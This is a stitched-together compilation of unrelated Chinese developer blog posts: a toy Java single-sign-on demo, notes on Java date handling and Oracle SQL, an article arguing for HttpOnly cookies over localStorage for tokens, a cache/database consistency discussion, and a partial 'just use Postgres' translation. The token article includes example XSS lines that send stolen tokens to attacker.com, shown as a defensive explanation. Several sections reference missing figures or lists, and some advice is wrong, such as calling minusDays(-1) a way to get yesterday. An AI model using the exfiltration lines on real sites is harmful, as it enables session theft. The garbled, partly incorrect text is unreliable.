大家好，我是小悟。

• 想象一下你去游乐园，买了一张通票（登录），然后就可以玩所有项目（访问各个系统），不用每个项目都重新买票（重新登录）。这就是单点登录（SSO）的精髓！
  
  

  SSO的日常比喻

  
  
  
  
  • 普通登录：像去不同商场，每个都要查会员卡
  
  
  • 单点登录：像微信扫码登录，一扫全搞定
  
  
  • 令牌：像游乐园手环，戴着就能证明你买过票
  
  
  
  

  下面用代码来实现这个"游乐园通票系统"：

  
  

  代码实现：简易SSO系统

  
  

  import java.util.*;
  
  
  
  // 用户类 - 就是我们这些想玩项目的游客
  
  class User {
  
      private String username;
  
      private String password;
  
      
  
      public User(String username, String password) {
  
          this.username = username;
  
          this.password = password;
  
      }
  
      
  
      // getters 省略...
  
  }
  
  
  
  // 令牌类 - 游乐园手环
  
  class Token {
  
      private String tokenId;
  
      private String username;
  
      private Date expireTime;
  
      
  
      public Token(String username) {
  
          this.tokenId = UUID.randomUUID().toString();
  
          this.username = username;
  
          // 令牌1小时后过期 - 游乐园晚上要关门的！
  
          this.expireTime = new Date(System.currentTimeMillis() + 3600 * 1000);
  
      }
  
      
  
      public boolean isValid() {
  
          return new Date().before(expireTime);
  
      }
  
      
  
      // getters 省略...
  
  }
  
  
  
  // SSO认证中心 - 游乐园售票处
  
  class SSOAuthCenter {
  
      private Map<String, Token> validTokens = new HashMap<>();
  
      private Map<String, User> users = new HashMap<>();
  
      
  
      public SSOAuthCenter() {
  
          // 预先注册几个用户 - 办了年卡的游客
  
          users.put("zhangsan", new User("zhangsan", "123456"));
  
          users.put("lisi", new User("lisi", "abcdef"));
  
      }
  
      
  
      // 登录 - 买票入场
  
      public String login(String username, String password) {
  
          User user = users.get(username);
  
          if (user != null && user.getPassword().equals(password)) {
  
              Token token = new Token(username);
  
              validTokens.put(token.getTokenId(), token);
  
              System.out.println(username + " 登录成功！拿到游乐园手环：" + token.getTokenId());
  
              return token.getTokenId();
  
          }
  
          System.out.println("用户名或密码错误！请重新买票！");
  
          return null;
  
      }
  
      
  
      // 验证令牌 - 检查手环是否有效
  
      public boolean validateToken(String tokenId) {
  
          Token token = validTokens.get(tokenId);
  
          if (token != null && token.isValid()) {
  
              System.out.println("手环有效，欢迎继续玩耍！");
  
              return true;
  
          }
  
          System.out.println("手环无效或已过期，请重新登录！");
  
          validTokens.remove(tokenId); // 清理过期令牌
  
          return false;
  
      }
  
      
  
      // 登出 - 离开游乐园
  
      public void logout(String tokenId) {
  
          validTokens.remove(tokenId);
  
          System.out.println("已登出，欢迎下次再来玩！");
  
      }
  
  }
  
  
  
  // 业务系统A - 过山车
  
  class SystemA {
  
      private SSOAuthCenter authCenter;
  
      
  
      public SystemA(SSOAuthCenter authCenter) {
  
          this.authCenter = authCenter;
  
      }
  
      
  
      public void accessSystem(String tokenId) {
  
          System.out.println("=== 欢迎来到过山车 ===");
  
          if (authCenter.validateToken(tokenId)) {
  
              System.out.println("过山车启动！尖叫声在哪里！");
  
          } else {
  
              System.out.println("请先登录再玩过山车！");
  
          }
  
      }
  
  }
  
  
  
  // 业务系统B - 旋转木马
  
  class SystemB {
  
      private SSOAuthCenter authCenter;
  
      
  
      public SystemB(SSOAuthCenter authCenter) {
  
          this.authCenter = authCenter;
  
      }
  
      
  
      public void accessSystem(String tokenId) {
  
          System.out.println("=== 欢迎来到旋转木马 ===");
  
          if (authCenter.validateToken(tokenId)) {
  
              System.out.println("木马转起来啦！找回童年记忆！");
  
          } else {
  
              System.out.println("请先登录再玩旋转木马！");
  
          }
  
      }
  
  }
  
  
  
  // 测试我们的SSO系统
  
  public class SSODemo {
  
      public static void main(String[] args) {
  
          // 创建认证中心 - 游乐园大门
  
          SSOAuthCenter authCenter = new SSOAuthCenter();
  
          
  
          // 张三登录
  
          String token = authCenter.login("zhangsan", "123456");
  
          
  
          if (token != null) {
  
              // 拿着同一个令牌玩不同项目
  
              SystemA systemA = new SystemA(authCenter);
  
              SystemB systemB = new SystemB(authCenter);
  
              
  
              systemA.accessSystem(token);  // 玩过山车
  
              systemB.accessSystem(token);  // 玩旋转木马
  
              
  
              // 登出
  
              authCenter.logout(token);
  
              
  
              // 再尝试访问 - 应该被拒绝
  
              systemA.accessSystem(token);
  
          }
  
          
  
          // 测试错误密码
  
          authCenter.login("lisi", "wrongpassword");
  
      }
  
  }
  
  

  
  

  运行结果示例：

  
  

  zhangsan 登录成功！拿到游乐园手环：a1b2c3d4-e5f6-7890-abcd-ef1234567890
  
  === 欢迎来到过山车 ===
  
  手环有效，欢迎继续玩耍！
  
  过山车启动！尖叫声在哪里！
  
  === 欢迎来到旋转木马 ===
  
  手环有效，欢迎继续玩耍！
  
  木马转起来啦！找回童年记忆！
  
  已登出，欢迎下次再来玩！
  
  === 欢迎来到过山车 ===
  
  手环无效或已过期，请重新登录！
  
  请先登录再玩过山车！
  
  用户名或密码错误！请重新买票！
  
  

  
  

  总结一下：

  
  

  单点登录就像：

  
  
  
  
  • 一次认证，处处通行 🎫
  
  
  • 不用重复输入密码 🔑
  
  
  • 安全又方便 👍
  
  
  
  

  好的SSO系统就像好的游乐园管理，既要让游客玩得开心，又要确保安全！

谢谢你看我的文章，既然看到这里了，如果觉得不错，随手点个赞、转发、在看三连吧，感谢感谢。那我们，下次再见。

您的一键三连，是我更新的最大动力，谢谢

山水有相逢，来日皆可期，谢谢阅读，我们再会

我手中的金箍棒，上能通天，下能探海

同志们，我去外包了

同志们，经历了漫长的思想斗争，我决定回老家发展，然后就是简历石沉大海，还好外包拯救了我，我去外包了！

首先随着工作年限的增加，越来越多公司并不会去和你抠八股文了（那阵八股风好像停了），只是象征性的问几个问题，然后会对照着项目去问些实际的问题以及你的处理办法。
(ps：(坐标合肥)突然想到某鑫面试官问我你知道亿级流量吗？你怎么处理的，听到这个问题我就想呼过去，也许读书读傻了，他根本不知道亿级流量是个什么概念，最主要的是它是个制造业公司啊，你哪来的亿级流量啊，也不知道问这个问题时他在想啥，还有某德(不是高德)，一场能面一个小时，人裂开)。

好了，言归正传，咱说点入职这家公司我了解到的一点东西，我分为两部分：代码和sql；

代码上

首先传统的web项目也会分前端后端，这点不错；

1.获取昨天日期

可以使用jdk自带的LocalDate.now().minusDays(-1)
这个其实内部调用的是plusDays(1)方法，所以不如直接就用plusDays方法，这样少一层判断；

PS：有多少人和我之前一样直接new Date()的。

2.字符填充

apache.common下的StringUtils的rightPad方法用于字符串填充使用方法是StringUtils.rightPad(str,len,fillStr)
大概意思就是str长度如果小于len，就用fillStr填充；

PS：有多少人之前是String.format或者StringBuilder用循环实现的。

3.获取指定年指定月的某天

获取指定年指定月的某天可以用localDate.of(year,month,day)，如果我们想取2025年的五月一号，可以写成LocalDate.of(2025, 5, 1)，那有人可能就想到了如果月尾呢，LocalDate.of(2025, 5, 31)也是可以的，但是我们需要清楚知道这个月有多少天，比如说你2月给个30天，那就会抛异常；
麻烦；

更好的办法就是先获取第一天，然后调用localDate.with(TemporalAdjusters.lastDayOfMonth());方法获取最后一天，TemporalAdjusters.lastDayOfMonth()会自动处理不同月份和闰年的情况；

sql层面的

有言在先，说实话我不建议在sql层面写这种复杂的东西，毕竟我们这么弱的人看到那么长的且复杂的sql会很无力，那种无力感你懂吗？打工人不为难打工人；不过既然别人写了，咱们就学习一下嘛；

1.获取系统日期

首先获取系统日期可以试用TRUNC(SYSDATE)进行截取，这样返回的时分秒是00:00:00,比如2025-05-29 00:00:00，它也可以截取数字，想知道就去自行科普下，不建议掌握，学习了下，有点搞；

2.返回date当前月份的最后一天

LAST_DAY(date)这个返回的是date当前月份的最后一天,比如今天是2025-05-29，那么返回的是2025-05-31
ADD_MONTH(date,11)表示当前日期加上11个月，比如2025-01-02，最终返回的是2025-12-02;

3.左连接的知识点

最后再提个左连接的知识点，最近看懵了，图一乐哈，A left join B，就是on的条件是在join生成临时表时起作用的，而where是对生成的临时表进行过滤；
两者过滤的时机不一样。我想了很久我觉得可以这么理解，on它虽然可以添加条件，但他的条件只是一个匹配条件比如B.age>10;它是不会对A表查询出来的数据量产生一个过滤效果；
而where是一个实打实的过滤条件，不管怎么说都会影响最终结果，对于inner join这个特例，on和where的最终效果一样，因为B.age>10会导致B的匹配数据减少，由于是交集，故会对整体数据产生影响。

好了，晚安，外包打工仔。。。

面试官问："用户 token 应该存在哪？"

很多人脱口而出：localStorage。

这个回答不能说错，但远称不上好答案。

一个好答案，至少要说清三件事：

• 有哪些常见存储方式，它们的优缺点是什么


• 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie


• 实际项目里怎么落地、怎么权衡「安全 vs 成本」

这篇文章就从这三点展开，顺便帮你把这道高频面试题吃透。

三种存储方式，一张图看懂差异

前端存 token，主流就三种：

flowchart LR

    subgraph 存储方式

        A[localStorage]

        B[普通 Cookie]

        C[HttpOnly Cookie]

    end



    subgraph 安全特性

        D[XSS 可读取]

        E[CSRF 会发送]

    end



    A -->|是| D

    A -->|否| E

    B -->|是| D

    B -->|是| E

    C -->|否| D

    C -->|是| E



    style A fill:#f8d7da,stroke:#dc3545

    style B fill:#f8d7da,stroke:#dc3545

    style C fill:#d4edda,stroke:#28a745

localStorage：用得最多，但也最容易出事

大部分项目一开始都是这样写的，把 token 往 localStorage 一扔就完事了：

// 登录成功后

localStorage.setItem('token', response.accessToken);



// 请求时取出来

const token = localStorage.getItem('token');

fetch('/api/user', {

  headers: { Authorization: `Bearer ${token}` }

});

用起来确实方便，但有个致命问题：XSS 攻击可以直接读取。

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞，攻击者就能一行代码偷走 token：

// 攻击者注入的脚本

fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

你可能会想："我的代码没有 XSS 漏洞。"

现实是：XSS 漏洞太容易出现了——一个 innerHTML 没处理好，一个第三方脚本被污染，一个 URL 参数直接渲染……项目一大、接口一多，总有疏漏的时候。

普通 Cookie：XSS 能读，CSRF 还会自动带

有人会往 Cookie 上靠拢："那我存 Cookie 里，是不是就更安全了？"

如果只是「普通 Cookie」，实际上比 localStorage 还糟糕：

// 设置普通 Cookie

document.cookie = `token=${response.accessToken}; path=/`;



// 攻击者同样能读到

const token = document.cookie.split('token=')[1];

fetch('https://attacker.com/steal?token=' + token);

XSS 能读，CSRF 还会自动带上——两头不讨好。

HttpOnly Cookie：让 XSS 偷不走 Token

真正值得推荐的，是 HttpOnly Cookie。

它的核心优势只有一句话：JavaScript 读不到。

// 后端设置（Node.js 示例）

res.cookie('access_token', token, {

  httpOnly: true,    // JS 访问不到

  secure: true,      // 只在 HTTPS 发送

  sameSite: 'lax',   // 防 CSRF

  maxAge: 3600000    // 1 小时过期

});

设置了 httpOnly: true，前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。

// 前端发请求，浏览器自动带上 Cookie

fetch('/api/user', {

  credentials: 'include'

});



// 攻击者的 XSS 脚本

document.cookie  // 看不到 httpOnly 的 Cookie，偷不走

HttpOnly Cookie 的代价：需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题，但引入了另一个必须正视的问题：CSRF。

因为 Cookie 会自动发送，攻击者可以诱导用户访问恶意页面，悄悄发起伪造请求：

sequenceDiagram

    participant 用户

    participant 银行网站

    participant 恶意网站



    用户->>银行网站: 1. 登录，获得 HttpOnly Cookie

    用户->>恶意网站: 2. 访问恶意网站

    恶意网站->>用户: 3. 页面包含隐藏表单

    用户->>银行网站: 4. 浏览器自动发送请求（带 Cookie）

    银行网站->>银行网站: 5. Cookie 有效，执行转账

    Note over 用户: 用户完全不知情

好消息是：CSRF 比 XSS 容易防得多。

SameSite 属性

最简单的一步，就是在设置 Cookie 时加上 sameSite：

res.cookie('access_token', token, {

  httpOnly: true,

  secure: true,

  sameSite: 'lax'  // 关键配置

});

sameSite 有三个值：

• strict：跨站请求完全不带 Cookie。最安全，但从外链点进来需要重新登录


• lax：GET 导航可以带，POST 不带。大部分场景够用，Chrome 默认值


• none：都带，但必须配合 secure: true

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感（比如金融），可以再加 CSRF Token。

CSRF Token（更严格）

如果希望更严谨，可以在 sameSite 基础上，再加一层 CSRF Token 验证：

// 后端生成 Token，放到页面或接口返回

const csrfToken = crypto.randomUUID();

res.cookie('csrf_token', csrfToken);  // 这个不用 httpOnly，前端需要读



// 前端请求时带上

fetch('/api/transfer', {

  method: 'POST',

  headers: {

    'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]

  },

  credentials: 'include'

});



// 后端验证

if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {

  return res.status(403).send('CSRF token mismatch');

}

攻击者能让浏览器自动带上 Cookie，但没法读取 Cookie 内容来构造请求头。

核心对比：为什么宁愿多做 CSRF，也要堵死 XSS

这是全篇最重要的一点，也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广：

• 用户输入渲染（评论、搜索、URL 参数）


• 第三方脚本（广告、统计、CDN）


• 富文本编辑器


• Markdown 渲染


• JSON 数据直接插入 HTML

代码量大了，总有地方会疏漏。一个 innerHTML 忘了转义，第三方库有漏洞，攻击者就能注入脚本。

CSRF 防护相对简单、手段统一：

• sameSite: lax 一行配置搞定大部分场景


• 需要更严格就加 CSRF Token


• 攻击面有限，主要是表单提交和链接跳转

两害相权取其轻——先把 XSS 能偷 token 这条路堵死，再去专心做好 CSRF 防护。

真落地要改什么：从 localStorage 迁移到 HttpOnly Cookie

从 localStorage 迁移到 HttpOnly Cookie，需要前后端一起动手，但改造范围其实不大。

后端改动

登录接口，从「返回 JSON 里的 token」改成「Set-Cookie」：

// 改造前

app.post('/api/login', (req, res) => {

  const token = generateToken(user);

  res.json({ accessToken: token });

});



// 改造后

app.post('/api/login', (req, res) => {

  const token = generateToken(user);

  res.cookie('access_token', token, {

    httpOnly: true,

    secure: true,

    sameSite: 'lax',

    maxAge: 3600000

  });

  res.json({ success: true });

});

前端改动

前端请求时不再手动带 token，而是改成 credentials: 'include'：

// 改造前

fetch('/api/user', {

  headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }

});



// 改造后

fetch('/api/user', {

  credentials: 'include'

});

如果用 axios，可以全局配置：

axios.defaults.withCredentials = true;

登出处理

登出时，后端清除 Cookie：

app.post('/api/logout', (req, res) => {

  res.clearCookie('access_token');

  res.json({ success: true });

});

如果暂时做不到 HttpOnly Cookie，可以怎么降风险

有些项目历史包袱比较重，或者后端暂时不愿意改。短期内只能继续用 localStorage 的话，至少要做好这些补救措施：

面试怎么答

回到开头的问题，面试怎么答？

简洁版（30 秒）：

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS，而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie，XSS 偷不走 token，只需要处理 CSRF 就行。

完整版（1-2 分钟）：

Token 存储有三种常见方式：localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放，攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟，XSS 能读，CSRF 还会自动发送。

推荐 HttpOnly Cookie，设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险，但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来，HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然，没有绝对安全的方案。即使用了 HttpOnly Cookie，XSS 攻击虽然偷不走 token，但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证，多层防护叠加。

加分项（如果面试官追问）：

• 改造成本：需要前后端配合，登录接口改成 Set-Cookie 返回，前端请求加 credentials: include


• 如果用 localStorage：Token 过期时间要短，敏感操作二次验证，严格防 XSS


• 移动端场景：App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题，需要具体评估

如果你觉得这篇文章有帮助，欢迎关注我的 GitHub，下面是我的一些开源项目：

Claude Code Skills（按需加载，意图自动识别，不浪费 token，介绍文章）：

• code-review-skill - 代码审查技能，覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则（详细介绍）


• 5-whys-skill - 5 Whys 根因分析，说"找根因"自动激活


• first-principles-skill - 第一性原理思考，适合架构设计和技术选型

全栈项目（适合学习现代技术栈）：

• prompt-vault - Prompt 管理器，用的都是最新的技术栈，适合用来学习了解最新的前端全栈开发范式：Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例，clone 下来配个免费 Supabase 就能跑


• chat_edit - 双模式 AI 应用（聊天+富文本编辑），Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB

大家好，我是苏三，又跟大家见面了

前言

数据库和缓存（比如：redis）双写数据一致性问题，是一个跟开发语言无关的公共问题。尤其在高并发的场景下，这个问题变得更加严重。

我很负责的告诉你，该问题无论在面试，还是工作中遇到的概率非常大，所以非常有必要跟大家一起探讨一下。

今天这篇文章我会从浅入深，跟大家一起聊聊，数据库和缓存双写数据一致性问题常见的解决方案，这些方案中可能存在的坑，以及最优方案是什么。

1. 常见方案

通常情况下，我们使用缓存的主要目的是为了提升查询的性能。 大多数情况下，我们是这样使用缓存的：

这是缓存非常常见的用法。一眼看上去，好像没有啥问题。

但你忽略了一个非常重要的细节：如果数据库中的某条数据，放入缓存之后，又立马被更新了，那么该如何更新缓存呢？

不更新缓存行不行？

答：当然不行，如果不更新缓存，在很长的一段时间内（决定于缓存的过期时间），用户请求从缓存中获取到的都可能是旧值，而非数据库的最新值。这不是有数据不一致的问题？

那么，我们该如何更新缓存呢？

目前有以下4种方案：

接下来，我们详细说说这4种方案。

2. 先写缓存，再写数据库

对于更新缓存的方案，很多人第一个想到的可能是在写操作中直接更新缓存（写缓存），更直接明了。

那么，问题来了：在写操作中，到底是先写缓存，还是先写数据库呢？

我们在这里先聊聊先写缓存，再写数据库的情况，因为它的问题最严重。某一个用户的每一次写操作，如果刚写完缓存，突然网络出现了异常，导致写数据库失败了。其结果是缓存更新成了最新数据，但数据库没有，这样缓存中的数据不就变成脏数据了？如果此时该用户的查询请求，正好读取到该数据，就会出现问题，因为该数据在数据库中根本不存在，这个问题非常严重。

我们都知道，缓存的主要目的是把数据库的数据临时保存在内存，便于后续的查询，提升查询速度。

但如果某条数据，在数据库中都不存在，你缓存这种“假数据”又有啥意义呢？

因此，先写缓存，再写数据库的方案是不可取的，在实际工作中用得不多。

3. 先写数据库，再写缓存

既然上面的方案行不通，接下来，聊聊先写数据库，再写缓存的方案，该方案在低并发编程中有人在用（我猜的）。用户的写操作，先写数据库，再写缓存，可以避免之前“假数据”的问题。但它却带来了新的问题。

什么问题呢？

3.1 写缓存失败了

如果把写数据库和写缓存操作，放在同一个事务当中，当写缓存失败了，我们可以把写入数据库的数据进行回滚。如果是并发量比较小，对接口性能要求不太高的系统，可以这么玩。

但如果在高并发的业务场景中，写数据库和写缓存，都属于远程操作。为了防止出现大事务，造成的死锁问题，通常建议写数据库和写缓存不要放在同一个事务中。

也就是说在该方案中，如果写数据库成功了，但写缓存失败了，数据库中已写入的数据不会回滚。

这就会出现：数据库是新数据，而缓存是旧数据，两边数据不一致的情况。

3.1 高并发下的问题

假设在高并发的场景中，针对同一个用户的同一条数据，有两个写数据请求：a和b，它们同时请求到业务系统。

其中请求a获取的是旧数据，而请求b获取的是新数据，如下图所示：

很显然，在这个过程当中，请求b在缓存中的新数据，被请求a的旧数据覆盖了。

也就是说：在高并发场景中，如果多个线程同时执行先写数据库，再写缓存的操作，可能会出现数据库是新值，而缓存中是旧值，两边数据不一致的情况。

3.2 浪费系统资源

该方案还有一个比较大的问题就是：每个写操作，写完数据库，会马上写缓存，比较浪费系统资源。

为什么这么说呢？

你可以试想一下，如果写的缓存，并不是简单的数据内容，而是要经过非常复杂的计算得出的最终结果。这样每写一次缓存，都需要经过一次非常复杂的计算，不是非常浪费系统资源吗？

尤其是cpu和内存资源。

还有些业务场景比较特殊：写多读少。

如果在这类业务场景中，每个用的写操作，都需要写一次缓存，有点得不偿失。

由此可见，在高并发的场景中，先写数据库，再写缓存，这套方案问题挺多的，也不太建议使用。

如果你已经用了，赶紧看看踩坑了没？

4. 先删缓存，再写数据库

通过上面的内容我们得知，如果直接更新缓存的问题很多。

那么，为何我们不能换一种思路：不去直接更新缓存，而改为删除缓存呢？

删除缓存方案，同样有两种：

我们一起先看看：先删缓存，再写数据库的情况。

说白了，在用户的写操作中，先执行删除缓存操作，再去写数据库。这套方案，可以是可以，但也会有一样问题。

4.1 高并发下的问题

假设在高并发的场景中，同一个用户的同一条数据，有一个读数据请求c，还有另一个写数据请求d（一个更新操作），同时请求到业务系统。如下图所示：

在这个过程当中，请求d的新值并没有被请求c写入缓存，同样会导致缓存和数据库的数据不一致的情况。

那么，这种场景的数据不一致问题，能否解决呢？

4.2 缓存双删

在上面的业务场景中，一个读数据请求，一个写数据请求。当写数据请求把缓存删了之后，读数据请求，可能把当时从数据库查询出来的旧值，写入缓存当中。

有人说还不好办，请求d在写完数据库之后，把缓存重新删一次不就行了？这就是我们所说的缓存双删，即在写数据库之前删除一次，写完数据库后，再删除一次。

该方案有个非常关键的地方是：第二次删除缓存，并非立马就删，而是要在一定的时间间隔之后。

我们再重新回顾一下，高并发下一个读数据请求，一个写数据请求导致数据不一致的产生过程：

这样来看确实可以解决缓存不一致问题。

那么，为什么一定要间隔一段时间之后，才能删除缓存呢？

请求d卡顿结束，把新值写入数据库后，请求c将数据库中的旧值，更新到缓存中。

此时，如果请求d删除太快，在请求c将数据库中的旧值更新到缓存之前，就已经把缓存删除了，这次删除就没任何意义。必须要在请求c更新缓存之后，再删除缓存，才能把旧值及时删除了。

所以需要在请求d中加一个时间间隔，确保请求c，或者类似于请求c的其他请求，如果在缓存中设置了旧值，最终都能够被请求d删除掉。

接下来，还有一个问题：如果第二次删除缓存时，删除失败了该怎么办？

这里先留点悬念，后面会详细说。

5. 先写数据库，再删缓存

从前面得知，先删缓存，再写数据库，在并发的情况下，也可能会出现缓存和数据库的数据不一致的情况。

那么，我们只能寄希望于最后的方案了。

接下来，我们重点看看先写数据库，再删缓存的方案。在高并发的场景中，有一个读数据请求，有一个写数据请求，更新过程如下：

在这个过程中，只有请求f读了一次旧数据，后来旧数据被请求e及时删除了，看起来问题不大。

但如果是读数据请求先过来呢？

这种情况看起来也没问题呀？

答：对的。

但就怕出现下面这种情况，即缓存自己失效了。如下图所示：

这时，缓存和数据库的数据同样出现不一致的情况了。

但这种情况还是比较少的，需要同时满足以下条件才可以：

我们都知道查询数据库的速度，一般比写数据库要快，更何况写完数据库，还要删除缓存。所以绝大多数情况下，写数据请求比读数据情况耗时更长。

由此可见，系统同时满足上述两个条件的概率非常小。

推荐大家使用先写数据库，再删缓存的方案，虽说不能100%避免数据不一致问题，但出现该问题的概率，相对于其他方案来说是最小的。

但在该方案中，如果删除缓存失败了该怎么办呢？

6. 删缓存失败怎么办？

其实先写数据库，再删缓存的方案，跟缓存双删的方案一样，有一个共同的风险点，即：如果缓存删除失败了，也会导致缓存和数据库的数据不一致。

那么，删除缓存失败怎么办呢？

答：需要加重试机制。

在接口中如果更新了数据库成功了，但更新缓存失败了，可以立刻重试3次。如果其中有任何一次成功，则直接返回成功。如果3次都失败了，则写入数据库，准备后续再处理。

当然，如果你在接口中直接同步重试，该接口并发量比较高的时候，可能有点影响接口性能。

这时，就需要改成异步重试了。

异步重试方式有很多种，比如：

7. 定时任务

使用定时任务重试的具体方案如下：

如果大家对定时任务比较感兴趣的话，可以看看我的另一篇文章《学会这10种定时任务，我有点飘了》，里面列出了目前最主流的定时任务。

使用定时任务重试的话，有个缺点就是实时性没那么高，对于实时性要求特别高的业务场景，该方案不太适用。但是对于一般场景，还是可以用一用的。

但它有一个很大的优点，即数据是落库的，不会丢数据。

8. mq

在高并发的业务场景中，mq（消息队列）是必不可少的技术之一。它不仅可以异步解耦，还能削峰填谷。对保证系统的稳定性是非常有意义的。

对mq有兴趣的朋友可以看看我的另一篇文章《mq的那些破事儿》。

mq的生产者，生产了消息之后，通过指定的topic发送到mq服务器。然后mq的消费者，订阅该topic的消息，读取消息数据之后，做业务逻辑处理。

使用mq重试的具体方案如下：

当然在该方案中，删除缓存可以完全走异步。即用户的写操作，在写完数据库之后，不用立刻删除一次缓存。而直接发送mq消息，到mq服务器，然后有mq消费者全权负责删除缓存的任务。

因为mq的实时性还是比较高的，因此改良后的方案也是一种不错的选择。

9. binlog

前面我们聊过的，无论是定时任务，还是mq（消息队列），做重试机制，对业务都有一定的侵入性。

在使用定时任务的方案中，需要在业务代码中增加额外逻辑，如果删除缓存失败，需要将数据写入重试表。

而使用mq的方案中，如果删除缓存失败了，需要在业务代码中发送mq消息到mq服务器。

其实，还有一种更优雅的实现，即监听binlog，比如使用：canal等中间件。

具体方案如下：

这套方案中业务接口确实简化了一些流程，只用关心数据库操作即可，而在binlog订阅者中做缓存删除工作。

但如果只是按照图中的方案进行删除缓存，只删除了一次，也可能会失败。

如何解决这个问题呢？

答：这就需要加上前面聊过的重试机制了。如果删除缓存失败，写入重试表，使用定时任务重试。或者写入mq，让mq自动重试。

在这里推荐使用mq自动重试机制。在binlog订阅者中如果删除缓存失败，则发送一条mq消息到mq服务器，在mq消费者中自动重试5次。如果有任意一次成功，则直接返回成功。如果重试5次后还是失败，则该消息自动被放入死信队列，后面可能需要人工介入。

最后说一句(求关注，别白嫖我)

如果这篇文章对您有所帮助，或者有所启发的话，帮忙关注一下我的同名公众号：苏三说技术，您的支持是我坚持写作最大的动力。

求一键三连：点赞、转发、在看。

关注公众号：【苏三说技术】，在公众号中回复：进大厂，可以免费获取我最近整理的10万字的面试宝典，好多小伙伴靠这个宝典拿到了多家大厂的offer。

更多项目实战：susan.net.cn/project

翻译：2026年了，直接用 PostgreSQL 吧

以下是 It’s 2026, Just Use Postgres | Tiger Data 的中文翻译

把你的数据库想象成你的家。家里有客厅、卧室、浴室、厨房和车库，每个房间用途不同，但都在同一屋檐下，由走廊和门相连。你不会因为需要做饭就单独盖一栋餐厅大楼，也不会为了停车而在城外另建一座商业车库。

PostgreSQL 就是这样的“家”——一个屋檐下容纳多个功能房间：搜索、向量、时序数据、队列……全部一体化。

而这恰恰是那些专用数据库厂商不愿让你知道的真相。他们的营销团队花了数年时间说服你“为不同任务选用合适的工具”。听起来很合理，很睿智，也确实卖出了大量数据库。

让我告诉你为什么这是个陷阱，以及为什么在 99% 的场景下，PostgreSQL 才是更优解。

“选用合适工具”的陷阱

你一定听过这样的建议：“为不同任务选用合适的工具。”

听起来很睿智。于是你最终拥有了：

恭喜你，现在你需要管理七个数据库。学习七种查询语言，维护七套备份策略，审计七种安全模型，轮换六组凭证，监控七个仪表盘，以及应对七个可能在凌晨三点崩溃的系统。

而当系统真的崩溃时？祝你好运——你得搭建一个包含全部七种数据库的测试环境来调试问题。

换个思路：直接用 PostgreSQL 吧。

为什么现在尤其重要：AI 时代

这不只是关于简化架构。AI 智能体已让数据库碎片化成为一场噩梦。

想想智能体需要做什么：

• 快速用生产数据搭建测试数据库


• 尝试修复或实验


• 验证效果


• 销毁环境

使用单一数据库？一条命令即可：Fork、测试、完成。

使用七个数据库？你需要：

• 协调 PostgreSQL、Elasticsearch、Pinecone、Redis、MongoDB 和 Kafka 的快照


• 确保所有数据处于同一时间点


• 启动七种不同服务


• 配置七组连接字符串


• 祈祷测试过程中数据不发生漂移


• 测试结束后销毁七种服务

没有大量研发投入，这几乎不可能实现。

这还不只是智能体的问题。每次凌晨三点系统崩溃，你都需要搭建测试环境调试。六个数据库意味着协调噩梦；一个数据库，只需一条命令。

在 AI 时代，简洁不只是优雅，更是必需。

“但专用数据库性能更好啊！”

我们直面这个问题。

迷思：专用数据库在其特定任务上远超通用方案。

现实：它们可能在狭窄场景下略占优势，但同时引入了不必要的复杂性。这就像为每顿饭都雇佣一位私人厨师——听起来奢华，实则增加成本、协调开销，并制造了本不存在的问题。

关键在于：99% 的公司根本不需要它们。那 1% 的顶级公司拥有数千万用户和与之匹配的庞大工程团队。你读过他们吹捧“专用数据库 X 如何惊艳”的博客，但那是他们的规模、他们的团队、他们的问题。对其他人而言，PostgreSQL 完全够用。

大多数人没意识到的是：PostgreSQL 扩展使用的算法与专用数据库相同甚至更优（很多情况下确实如此）。

所谓“专用数据库溢价”？大多是营销话术。

这些不是缩水版实现，而是相同/更优的算法，经过实战检验、开源，并常由相同研究者开发。

基准测试也证实了这一点：

• pgvectorscale：延迟比 Pinecone 低 28 倍，成本降低 75%


• TimescaleDB：性能媲美或超越 InfluxDB，同时提供完整 SQL 支持


• pg_textsearch：与 Elasticsearch 相同的 BM25 排序算法

隐性成本不断累积

除 AI/智能体问题外，数据库碎片化还带来复合成本：

认知负荷：团队需掌握 SQL、Redis 命令、Elasticsearch Query DSL、MongoDB 聚合、Kafka 模式、InfluxDB 的非原生 SQL 变通方案。这不是专业化，这是碎片化。

数据一致性：保持 Elasticsearch 与 PostgreSQL 同步？你需要构建同步作业。它们会失败，数据会漂移，你得添加对账逻辑。对账也会失败。最终你维护的是基础设施，而非产品功能。

SLA 数学：三个系统各自 99.9% 可用性 = 整体 99.7%。这意味着每年26 小时停机时间，而非 8.7 小时。每个系统都在成倍增加故障模式。

现代 PostgreSQL 技术栈

这些扩展并非新生事物，它们已生产就绪多年：

• PostGIS：自 2001 年（24 年），支撑 OpenStreetMap 和 Uber


• 全文搜索：自 2008 年（17 年），内置于 PostgreSQL 核心


• JSONB：自 2014 年（11 年），性能媲美 MongoDB 且支持 ACID


• TimescaleDB：自 2017 年（8 年），GitHub 超 2.1 万星


• pgvector：自 2021 年（4 年），GitHub 超 1.9 万星

超过 48,000 家公司使用 PostgreSQL，包括 Netflix、Spotify、Uber、Reddit、Instagram 和 Discord。

